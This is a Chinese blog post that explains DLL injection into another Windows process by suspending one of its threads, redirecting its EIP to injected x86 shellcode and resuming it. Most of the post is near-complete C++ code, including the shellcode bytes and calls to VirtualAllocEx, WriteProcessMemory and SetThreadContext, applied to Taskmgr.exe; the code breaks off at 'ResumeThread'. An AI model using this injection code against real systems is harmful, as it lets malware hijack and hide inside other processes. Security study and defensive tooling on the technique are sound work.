当前位置 博文首页 > KOOKNUT的博客:挂起目标线程注入(SetThreadContext)--Ring3注入

    KOOKNUT的博客:挂起目标线程注入(SetThreadContext)--Ring3注入

    作者:[db:作者] 时间:2021-07-02 18:36

    这段时间一直在复习之前的知识点,今天看到了这种注入,记录一下,与诸位分享。
    预备知识点:
    当一个正在执行的线程被挂起之后,系统会保存此时线程的上下背景文(Context),当我们把线程恢复执行的时候,系统会把之前的Context恢复,使线程从Context.Eip处开始执行。
    注入思路:
    当我们准备注入一个目标进程的时候,找到一个进程中的线程,调用SuspendThread将其挂起,然后向修改Context.Eip的处地址为我们存放ShellCode的地址。之后手动恢复线程执行,线程会执行我们的ShellCode,我们只需要在ShellCode
    中加载dll就完事儿了。
    注意事项:
    需要把线程挂起前的Eip保存下来,以便执行完ShellCode跳回原线程代码执行,防止注入之后进程奔溃。
    我此处提供的代码是测试了Win7 x86(Taskmgr.exe)和Win10 下的一个x86进程。在x64下,思路是一致的,需要更换ShellCode废话不说,下面附上代码:

    #include"SuspendInject.h"
    #include"Helper.h"
    
    
    
    #ifdef UNICODE
    LPFN_LOADLIBRARYW __LoadLibrary = NULL;
    #else
    LPFN_LOADLIBRARYA __LoadLibrary = NULL;
    #endif
    
    #ifndef _WIN64
    
    unsigned char __ShellCode[] =
    {
    	0x68, 0x00, 0x00, 0x00, 0x00,	// [0]push 0xxxxxxxxx
    	0x9c,							// [5]pushfd
    	0x60,							// [6]pushad
    	0x68, 0x00, 0x00, 0x00, 0x00,	// [7]push 0xxxxxxxxx
    	0xb8, 0x00, 0x00, 0x00, 0x00,	// [12]mov eax, 0xxxxxxxxx
    	0xff, 0xd0,						// [17]call eax
    	0x61,							// [19]popad
    	0x9d,							// [20]popfd
    	0xc3							// [21]ret
    };
    
    int _tmain()
    {
    	//控制台识别中文
    	setlocale(LC_ALL, "Chinese-simplified");
    
    	TCHAR ProcessImageName[MAX_PATH] = { 0 };//保存进程名字
    
    	TCHAR CurrentFullPath[MAX_PATH] = { 0 }; //当前进程的完整路径
    
    	TCHAR TargetProcessFullPath[MAX_PATH] = { 0 };//目标进程的完整路径
    	ULONG_PTR TargetProcessPathLength = MAX_PATH;
    
    	ULONG ProcessId = 0;//目标进程Id
    
    	CONTEXT ThreadContext; //保存线程上下文结构
    	DWORD   OldEip;//保存原Eip
    
    
    
    	HANDLE ProcessHandle = INVALID_HANDLE_VALUE;//进程句柄
    	LPVOID VirtualAddress = NULL;
    
    	SIZE_T ReturnLength = 0;
    
    	BOOL  IsOk = FALSE;
    
    	//注入的启动程序和目标程序的位数
    	BOOL  SourceIsWow64 = FALSE;
    	BOOL  TargetIsWow64 = FALSE;
    
    
    	_tprintf(_T("输入一个进程ImageName\r\n"));
    
    
    	TCHAR RcceiveChar = _gettchar();//接受字符串
    	int i = 0;//用来偏移ProcessName字符数组
    	while (RcceiveChar != '\n')
    	{
    		ProcessImageName[i++] = RcceiveChar;
    		RcceiveChar = _gettchar();
    		//ProcessImageName = 0x000000db28fceed0 "Taskmgr.exe"
    	}
    
    	GetCurrentDirectory(MAX_PATH, CurrentFullPath);//保存当前进程的完整路径
    
    	IsWow64Process(GetCurrentProcess(), &SourceIsWow64);//得到当前进程位数
    	//SourceIsWow64 = 0x00000000
    	ProcessId = KtGetProcessIdentify(ProcessImageName);//通过进程名得到进程Id
    	//ProcessId = 0x00003aa0
    	if (ProcessId == 0)
    	{
    		return 0;
    	}
    	IsOk = KtGetProcessFullPath(TargetProcessFullPath,
    		&TargetProcessPathLength, ProcessId, FALSE);
    
    	if (IsOk == FALSE)
    	{
    		return 0;
    	}
    	//判断目标进程位数
    	KtIsWow64Process(TargetProcessFullPath, &TargetIsWow64);
    	//TargetIsWow64 = 0x00000000
    	if (SourceIsWow64 == TRUE && TargetIsWow64 == TRUE)
    	{
    		_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
    	}
    	else if (SourceIsWow64 == FALSE && TargetIsWow64 == FALSE)
    	{
    		_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));
    	}
    	//_tcscat_s(CurrentFullPath, _T("\\Dll.dll"));//Win 7 32位测试用
    
    
    
    	ProcessHandle = KtOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    	ULONG BufferLength = 0;
    	//在目标进程空间中申请内存
    	BufferLength = (_tcslen(CurrentFullPath) + 1) * sizeof(TCHAR);
    
    	//目标进程空间中申请内存存放Dll完整路径
    	VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, BufferLength, MEM_COMMIT, PAGE_READWRITE);
    
    	if (VirtualAddress == NULL)
    	{
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    	//目标进程申请内存--存放ShellCode
    	PVOID ShellCode = VirtualAllocEx(ProcessHandle, NULL, 
    		sizeof(__ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (ShellCode == NULL)
    	{
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    
    
    	//目标进程空间中写入数据
    	if (KtProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, CurrentFullPath, BufferLength, &ReturnLength) == FALSE)
    	{
    		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    
    
    	//获得目标进程下的所有线程
    	vector<HANDLE> ThreadId{};
    	if (KtGetThreadIdentify((HANDLE)ProcessId, ThreadId) == FALSE)
    	{
    		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    
    
    	HMODULE  Kernel32ModuleBase = NULL;
    
    
    	Kernel32ModuleBase = GetModuleHandle(_T("KERNEL32.DLL"));
    	//Kernel32ModuleBase = kernel32.dll!0x00007ffe83fa0000 (加载符号以获取其他信息) {unused=0x00905a4d }
    	if (Kernel32ModuleBase == NULL)
    	{
    		VirtualFreeEx(ProcessHandle, VirtualAddress, BufferLength, MEM_RELEASE);
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    
    #ifdef UNICODE
    	__LoadLibrary = (LPFN_LOADLIBRARYW)GetProcAddress(Kernel32ModuleBase, "LoadLibraryW");
    #else
    	__LoadLibrary = (LPFN_LOADLIBRARYA)GetProcAddress(Kernel32ModuleBase, "LoadLibraryA");
    #endif
    
    	if (__LoadLibrary == NULL) {
    
    		KtCloseHandle(ProcessHandle);
    		return 0;
    	}
    	HANDLE ThreadHandle = KtOpenThread(
    		(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME),
    		FALSE, ThreadId[0]);
    	if (ThreadHandle)
    	{
    		SuspendThread(ThreadHandle);
    	}
    	else
    	{
    		CloseHandle(ThreadHandle);
    	}
    	//设置线程上下文的各种属性与Eip地址
    	ThreadContext.ContextFlags = CONTEXT_CONTROL;
    	GetThreadContext(ThreadHandle, &ThreadContext);
    	OldEip = ThreadContext.Eip;
    	ThreadContext.Eip = (DWORD)ShellCode;//动态申请出来的存放ShellCode的地方
    	ThreadContext.ContextFlags = CONTEXT_CONTROL;
    
    	DWORD OldProtect;
    	VirtualProtect(__ShellCode, sizeof(__ShellCode), PAGE_EXECUTE_READWRITE, &OldProtect);
    	
    	memcpy((void *)((unsigned long)__ShellCode + 1), &OldEip, 4);
    	memcpy((void *)((unsigned long)__ShellCode + 8), &VirtualAddress, 4);
    	memcpy((void *)((unsigned long)__ShellCode + 13), &__LoadLibrary, 4);
    	
    	VirtualProtect(__ShellCode, sizeof(__ShellCode), OldProtect, &OldProtect);
    	WriteProcessMemory(ProcessHandle, ShellCode, __ShellCode, sizeof(__ShellCode), NULL);
    	SetThreadContext(ThreadHandle, &ThreadContext);
    
    	ResumeThread
    
    下一篇:没有了